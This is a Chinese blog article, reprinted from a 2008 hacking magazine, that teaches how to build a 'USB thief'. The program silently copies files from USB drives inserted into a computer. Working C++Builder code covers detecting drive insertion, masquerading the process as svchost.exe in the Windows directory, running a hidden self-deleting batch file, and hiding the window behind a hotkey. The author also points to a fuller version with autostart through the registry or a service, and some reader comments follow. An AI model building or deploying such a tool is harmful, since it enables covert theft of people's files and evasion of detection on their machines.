锻造完美U盘小偷:活用消息机制
作者:灰狐
来源:灰狐's Blog
注:本文已发表在<黑客防线>2008年第1期,转载请注明出处.
以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就是所谓的U盘小偷了——偷偷地把你U盘里的东西copy出来的东西。
根据以前的《黑客防线》来看,就这一类的工具已经N多了,有脚本或批处理的、有VC的、有BCB的、有delphi或VB的,五花八门;当然其中各个的技术含量也是大不相同,大多数都是采用最常规的做法。注入进程的见过不少,但居然很少有讲使用消息机制的。(也许有不少,但在杂志上没看到过)
今天我就综合采用多种方法来打造一个尽量完善的U盘小偷;我没有采用任何比较难的技术,而是演示怎样综合利用各种思路来弥补技术上的不足。
首先得搞清楚我们的小偷具体要做什么,就是所谓的系统分析,呵呵。通常这些小偷程序都是工作在我们的电脑或者最起码是我们能接触到的电脑(不然偷了东西也没办法给运回来啊),所以此时进程隐藏并不是非常重要了,只要在任务管理器中不能被发现即可;再者就是程序要隐藏在后台运行(废话);还有就是绝对不能占用太多资源,这个非常重要;最后就是智能判断应该偷哪些文件。
先来看最核心的功能吧,利用消息机制来实现实时监控U盘事件。
我就不从头讲解什么是消息机制了,还不太理解的读者可以先参考我博客上的两篇文章《理解Windows消息机制》、《Windows消息高级应用》(URL:http://www.huihu32.cn/post/37.html、http://www.huihu32.cn/post/38.html)。现在假设你已经大概知道了什么是消息、怎样处理消息这些内容。
先介绍下U盘事件,在USB设备插入或者移除等操作发生的时候,系统会将WM_DEVICECHANGE消息分发到系统中的所有顶层窗口。WM_DEVICECHANGE消息的wParam有两个我们需要注意的值:
DBT_DEVICEARRIVAL // 0x8000 插入事件
DBT_DEVICEREMOVECOMPLETE //0x8004 移除事件
我们先写段代码来测试一下,用BCB新建一个Application工程,在头文件Unit1.h中最后加入重载窗口函数的声明:
public: // User declarations
__fastcall TForm1(TComponent* Owner);
void __fastcall WndProc(TMessage &Message); //我们要重载这个函数
然后在实现文件Unit1.cpp中实现:
void __fastcall TForm1::WndProc(TMessage &Message)
{
if(!bStarted) //如果没点“开始监控”按钮我们暂不监控
{
}
//如果是移动设备消息则进入处理
if(Message.Msg == WM_DEVICECHANGE) //帮助里面有这个消息的详细说明
{
switch(Message.WParam)
{
case DBT_DEVICEARRIVAL:
Memo1->Lines->Add(" 发现USB设备插入!");
break;
case DBT_DEVICEREMOVECOMPLETE:
Memo1->Lines->Add(" USB设备被拔出!");
break;
default:
break;
}
}
TForm::WndProc(Message); //最后别忘了把其他消息交给默认窗口函数处理
}
注意以上代码需要包含头文件:#include <Dbt.h>。
下面我们看一下效果,我插入一个U盘的时候和拔出的时候都被发现了,如图1:
根据网上流传的说法,当网络驱动器设备连接和移除的时候也会触发这个消息,可以做如下预处理:
PDEV_BROADCAST_VOLUME dbvDev=(PDEV_BROADCAST_VOLUME)Message.LParam;
if (dbvDev->dbcv_flags & DBTF_MEDIA)
{ //加入处理代码
}
在WM_DEVICECHANGE消息的lParam参数中保存了设备的相关信息,我们要对设备的类型进行判断,只需要获得DEV_BROADCAST_VOLUME结构中的dbcv_flags的值。
当它的值为DBTF_NET时,那么当前的这个逻辑卷便是网络卷。所以我们在上面代码中判断dbcv_flags的值是否为DBTF_MEDIA,以此判断是否为网络驱动器。也可以这样判断:dbcv_flags如果等于1,则表示是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0(注:这些结构的说明在BCB的帮助中我没找到,但VC的MSDN中有非常详细的说明),这样会使得我们程序的容错性大大地提高。
需要注意的是,当插入一个设备时,所有与这个设备相关的设备都会产生这个事件,而不是产生单一的插入事件,这个问题可以用 GUID 解决。
注册设备GUID的代码:
DEV_BROADCAST_DEVICEINTERFACE DevInt;
memset(&DevInt,0,sizeof(DEV_BROADCAST_DEVICEINTERFACE));
DevInt.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
DevInt.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;
DevInt.dbcc_classguid = DevGuid;
//设备的GUID,不同的设备有不同的GUID,根据实际情况设定
hDevNotify=RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE);
Windows XP以上版本允许用DEVICE_NOTIFY_ALL_INTERFACE_CLASSES注册关注所有的设备的插入和拔出事件,这个参数是RegisterDeviceNotification函数的第三个参数。如下:
RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE|
DEVICE_NOTIFY_ALL_INTERFACE_CLASSES);
但这样就无法在Win 2K及其以下系统运行。所以建议直接获取你关注的那个设备的GUID,利于程序的通用性。
关于如何获取设备的GUID,最简单的办法是查注册表:
“HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\USB\\Vid_厂家标识&
Pid_产品标识\\驱动程序”里面的ClassGUID就是驱动程序的GUID标识。
不过,我们这里并不打算使用GUID,而是当捕获到USB设备插入的消息后就启动扫描代码来遍历寻找U盘(可以使用GUID过滤掉自己的U盘)。
这时修改一下原来的代码,把
case DBT_DEVICEARRIVAL:
Memo1->Lines->Add(" 发现USB设备插入!");
break;
修改为以下:
case DBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_VOLUME dbvDev = (DEV_BROADCAST_VOLUME *)Message.LParam;
if(dbvDev->dbcv_flags == 0)
{
Memo1->Lines->Add(" 发现USB设备插入!");
Memo1->Lines->Add(" 当前U盘盘符为"+AnsiString(ScanFlashDisk()));
}
break;
}
其中ScanFlashDisk()函数的定义为:
char __fastcall TForm1::ScanFlashDisk()
{
char USB = NULL;
char szDriveName[4] = {0};
wsprintf(szDriveName,"C:\0");
for(szDriveName[0] = 'C';szDriveName[0] < 'Z';szDriveName[0]++)
{
if(GetDriveType(szDriveName) == DRIVE_REMOVABLE)
{
USB=szDriveName[0];
return USB;
}
}
return USB;
}
此时的运行效果请看截图2:
现在我们离目标已经很近了,下面就是进程的隐藏技巧,本来想采用进程注入的方法的,但如果这样的话整个程序都需要重写了,在自己电脑上隐藏个进程还需要这么麻烦吗?
通常每次开机的时候都会有好几个svchost.exe进程,所以我们只要在启动的时候检查自己的名字是不是svchost.exe,如果不是就退出,生成一个批处理将自己改名。系统的svchost.exe是在system32目录下的,我们就把自己隐藏到Windows目录下吧,反正这里的文件也多,并且我们的小偷平时并不占很多资源,一般来说还是比较容易隐藏的。下面是测试代码:
//检查自己的路径
char DirBuffer[MAX_PATH],SysBuffer[MAX_PATH];
DWORD DirSize = sizeof(DirBuffer);
GetWindowsDirectory(SysBuffer,DirSize); //得到Windows目录位置
strcat(SysBuffer,"\\svchost.exe"); //构造完整文件名
HMODULE hModule = GetModuleHandle(NULL);
GetModuleFileName(hModule,DirBuffer,DirSize); //得到程序自身完整文件名
if(strcmp(DirBuffer,SysBuffer) != 0) //比较两个完整文件名是否相同
{ //如果不在Windows目录
CopyFile(DirBuffer,SysBuffer,false); //将自身覆盖拷贝到Windows目录
FILE *fp;
fp = fopen("system.bat","w+");
fprintf(fp,"@echo off\r\n"); //生成自删除的批处理文件
fprintf(fp,":start\r\n\tif not exist %s goto done\r\n",ExtractFileName(DirBuffer));
fprintf(fp,"\tdel /f /q %s\r\n",ExtractFileName(DirBuffer));
fprintf(fp,"goto start\r\n");
fprintf(fp,":done\r\n");
fprintf(fp,"\tdel /f /q %0\r\n");
fclose(fp);
//隐藏窗口运行此批处理
ShellExecute(NULL,"open","system.bat",NULL,NULL,SW_HIDE);
//别忘了把新路径下的小偷给启动哦
ShellExecute(NULL,"open",SysBuffer,NULL,NULL,SW_HIDE);
exit(0); //退出程序
}
这段代码经过测试完全可以达到目的,任务管理器中根本看不出来是哪个svchost,只有利用其它专门工具了,我是用冰刃才找到了是哪个进程。
哈哈,两个重要问题都解决了,现在我们就一鼓作气把剩下的两个问题搞定吧,隐藏窗口在BCB中尤其简单:
Form1->Hide();
有人提问了,隐藏起来自己也看不到了咋办?好说好说,咱设置一个全局热键不就得了,实现方法不难,请看:
ATOM iHot = GlobalAddAtom("HotKey"); //注册一个全局原子,这个是必须的
RegisterHotKey(this->Handle,iHot,MOD_ALT,VK_F8); //定义热键 Alt + F8
在程序的OnDestroy事件中要将其释放掉:
UnregisterHotKey(this->Handle,WM_HOTKEY);
捕获到热键时该怎么处理呢?答案是使用消息映射:
//定义事件函数
void __fastcall OnHotKey(TMessage &msg);
BEGIN_MESSAGE_MAP
MESSAGE_HANDLER(WM_HOTKEY,TMessage,OnHotKey);
END_MESSAGE_MAP(TForm);
最后在主文件中加入我们的实现代码:
void __fastcall Form1::OnHotKey(TMessage &msg)
{
MainForm->Show();
}
这样当程序在后台工作的时候我们就可以用Alt+F8直接呼出窗口进行管理了。
智能判断文件说起来很悬乎,其实就是判断扩展名,因为像mp3、wma、rmv这些影音文件通常比较大,而且通常也不是我们想关心的内容?这里我们也不用写上大段代码来遍历文件,然后判断扩展名,这样太麻烦了,还是用批处理吧。代码就不发了,本文涉及到的所有源代码均可以在打包的源文件中找到。
补充说明:我已经利用业余时间重写了这个U盘小偷,做的有一定的实用性了,本文所讲到的大多数技巧都继续使用了,并且又增加了许多新的技巧,比如使用了多线程、改用API遍历文件并判断属性确定是否值得拷贝、支持注册表启动和服务启动、U盘防火墙等很多实用的功能,具体可以参见:http://www.huihu32.cn/post/ustealer.html。截止目前的版本完整工程代码以及可执行程序我都已经打包放在附件里面了。
能否把最新的源码共享一下,我想自己做个U盘的认证保护工具。参考一下你的代码。
我是个初学者,在学C# 能写出这些么?
请问,我的手机用USB线连接,但是我不选择手机上的“打开USB存储设备”选项的话我的手机的驱动器I盘就是灰色的,但是程序依然截获WM_DEVICECHANGE消息,依然认为I盘可用,这时我程序就访问不了手机里的文件,请问这种情况如何确切判断存储设备确实已经打开可用?